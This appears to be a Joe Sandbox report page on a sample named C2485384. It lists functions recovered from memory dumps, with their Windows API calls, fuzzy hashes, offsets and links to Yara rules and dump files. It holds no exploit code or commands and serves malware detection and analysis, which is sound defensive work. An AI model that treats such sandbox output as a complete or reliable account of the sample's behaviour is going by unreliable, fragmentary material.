Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: CryptDecodeObject$AllocLocallstrcmp
String ID: 1.3.6.1.4.1.311.2.1.12
API String ID: 3284379815-2596186611
Opcode ID: 134a44a4477c2338746933967011fd59d472551c98d61ea24863aeca6b23a62f
Instruction ID: 2717bd39aaf9dc3267a1c81be9ea489cd1970bd68fffac082fe3b8de393b14b3
Opcode Fuzzy Hash: 134a44a4477c2338746933967011fd59d472551c98d61ea24863aeca6b23a62f
Instruction Fuzzy Hash: 3041F7B1940225DFDB21CF68C850F6ABBF9FF84328F109169E815AB255E772EC41CB90

Function 6252E3F0 Relevance: 3.1, APIs: 2, Instructions: 102comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(6256DF60,00000000,00000001,6256DF50,?,?), ref: 6252E429
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 6252E47F

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 9382a2bd032fdd6cc4e912b23158637e178206490c00f45d5835864cd0082ab1
Instruction ID: 270cb41ed17caff352b9cfb4c2341644f4607291abf49040538123186b87c81a
Opcode Fuzzy Hash: 9382a2bd032fdd6cc4e912b23158637e178206490c00f45d5835864cd0082ab1
Instruction Fuzzy Hash: 76314C71604715AFD620CF68C891FAAB3E8AFCD714F108A58F959CB390D671ED41CB92

Function 0BB7FB64 Relevance: 3.0, APIs: 2, Instructions: 37COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,00001004,?,00000007,00000000,0BB7FBC8), ref: 0BB7FB8A
GetACP.KERNEL32(?,?,00001004,?,00000007,00000000,0BB7FBC8), ref: 0BB7FBA3

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 6ddbc2a55364b5831d7434b08cd950c3c6a9860692749477203fabd35ab9bef1
Instruction ID: 649b80bc59e516f8ee6f1afb0151c44d6db1e3487471a34afca62196a891cae8
Opcode Fuzzy Hash: 6ddbc2a55364b5831d7434b08cd950c3c6a9860692749477203fabd35ab9bef1
Instruction Fuzzy Hash: 1CF09631E443087FDB04FFE1CC5299EB36EEBC4710F50C5F5A53097680EA746A008A64

Function 0BB7BBAE Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceA.KERNEL32(?,?,?,?,?), ref: 0BB7BBDC

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID: DiskFreeSpace
String ID:
API String ID: 1705453755-0
Opcode ID: ecbae96b16a937ee9cecdf9535712b553bd15bbfef93f1f0ab8a3b26c268133e
Instruction ID: 4763713a6fba208b7557fcac9befd4557ea95ef758a394756e39a220687b2dce
Opcode Fuzzy Hash: ecbae96b16a937ee9cecdf9535712b553bd15bbfef93f1f0ab8a3b26c268133e
Instruction Fuzzy Hash: DF117FB5E00109AF9B44DFA9C9819AFF7F9FF8C210B548566A519E7250E6319A01CFA0

Function 0BB8AC90 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(?,00000000,0000000A), ref: 0BB8ACB2

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID: FindResource
String ID:
API String ID: 1635176832-0
Opcode ID: 342d41ade40c95277a192446356a7a8add080594731c4fd4df25928c2082edcb
Instruction ID: 4d6e41887269a70d9c02a006f7c8aeabbe27f3048d28d931cd008dd919a85073
Opcode Fuzzy Hash: 342d41ade40c95277a192446356a7a8add080594731c4fd4df25928c2082edcb
Instruction Fuzzy Hash: E401A2713043046FE711FE69EC92D6AB7EEEB8A614B1180BAF504D7650EA72DC01D660

Function 0BB76D4C Relevance: 1.5, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,00001004,?,00000007,00000000,0BB76DB2), ref: 0BB76D72

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 4e07e06ea882ae03d6ebdb15b51c79831a55585fbc5f83637c7dfae89e2d9ecc
Instruction ID: 5de614de7787e6ae62b2e6c82b4114bc04132f2379d8f3bedf96907dd0efa90f
Opcode Fuzzy Hash: 4e07e06ea882ae03d6ebdb15b51c79831a55585fbc5f83637c7dfae89e2d9ecc
Instruction Fuzzy Hash: 2DF0C830A44709AFEB14FFE1CC42EEEF376FB84710F4089B4912097290E7B46A448654

Function 0BB7E548 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 0BB7E566

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: cc7f4696d2fbe55a68bea8542f61fabab6a047a6708a8a252cdfd032cba9a492
Instruction ID: 3bcba50187567872b35ff99f5bfdd19c3c3230643566bc027a13d2058d8d8caa
Opcode Fuzzy Hash: cc7f4696d2fbe55a68bea8542f61fabab6a047a6708a8a252cdfd032cba9a492
Instruction Fuzzy Hash: 0CE0D8717402181BD314B6699C85DF6736CDB58710F0041EABE24D7344FDE0DD8087E4

Function 0BB7E594 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,?,?,00000002), ref: 0BB7E5A7

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 184cd4d49040ef2ec0beb867f12931ab50704c4e6224ce4042edadd2b2c6d73d
Instruction ID: e588ef5716250bfa57c170576c9ce837c4f6e3bd32878a83c11ec949105290f0
Opcode Fuzzy Hash: 184cd4d49040ef2ec0beb867f12931ab50704c4e6224ce4042edadd2b2c6d73d
Instruction Fuzzy Hash: E7D05E6634D2542BA314655A6D84DBB4BACCEC56A0F0041B9BA68CA240E600CC0693F1

Function 0BB7CF84 Relevance: 1.5, APIs: 1, Instructions: 22timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 0BB7CF8C

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID: LocalTime
String ID:
API String ID: 481472006-0
Opcode ID: 67633e9376df9a2c1433bc19146b5fd00ea68daa07487b348b7f82bf87f27c4f
Instruction ID: d5f40410d3681e3cbd338d2b9239454dea6faaea87f3e095b54e01987083feaa
Opcode Fuzzy Hash: 67633e9376df9a2c1433bc19146b5fd00ea68daa07487b348b7f82bf87f27c4f
Instruction Fuzzy Hash: 33E04568409602A6C200FF55C4414AEBBE5FF99A40F408C9DF8E946751EA7185D9C767

Function 6253AB00 Relevance: 1.4, Strings: 1, Instructions: 140COMMON

Download Yara Rule

Strings

/"S, xrefs: 6253AB21

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID:
String ID: /"S
API String ID: 0-2575343265
Opcode ID: d6b56a25a62bb6dbd2128fad65c596eb591052abe69fe60790eed327d7ec8756
Instruction ID: f1621e3c6fa6dc2ea569916f690c66d88e66f013a9a7e861ff720a3dc3f391b0
Opcode Fuzzy Hash: d6b56a25a62bb6dbd2128fad65c596eb591052abe69fe60790eed327d7ec8756
Instruction Fuzzy Hash: 4A518F329412489FDB12CF68D8A0BDE77B4EF59314F50C025E925AB2D1DB349E09CBA1

Function 0BC55D30 Relevance: 1.3, Strings: 1, Instructions: 28COMMON

Download Yara Rule

Strings

2, xrefs: 0BC55D85

Memory Dump Source

Source File: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID:
String ID: 2
API String ID: 0-450215437
Opcode ID: ae497149ad82b982db1cdd290e240813cdea3fac8c615a46f0ac802d5db3794e
Instruction ID: 63d5d1a65ca23d32505e25310d48242627ace9ca888f99f46ba87a6c1a53673b
Opcode Fuzzy Hash: ae497149ad82b982db1cdd290e240813cdea3fac8c615a46f0ac802d5db3794e
Instruction Fuzzy Hash: B9E061434183C19FE79BB27644E645F2DA36B927C5F11C01DD166139058A3D4E0DE277

Function 625344D4 Relevance: 1.3, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(756BA0C0,625344B9,B207A1AB,00000000,00000000,756BA0C0,00000000,Function_00045490,62579550,000000FE,?), ref: 625344DC

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: FreeLocal
String ID:
API String ID: 2826327444-0
Opcode ID: 7b23ef55684c1ee0af95100d5524fdc9c0a343adbbd5dd54587d9593313a02bb
Instruction ID: 3b912ff82ad22028efa0e346c6ea5b12489d8154ded91d8f5c66d8c3d7bb8d9e
Opcode Fuzzy Hash: 7b23ef55684c1ee0af95100d5524fdc9c0a343adbbd5dd54587d9593313a02bb
Instruction Fuzzy Hash: 75B01270F4011247DF20CE76C54892A7768FA00300310C4106410D2000D639C400C510

Function 625262F0 Relevance: .4, Instructions: 400COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
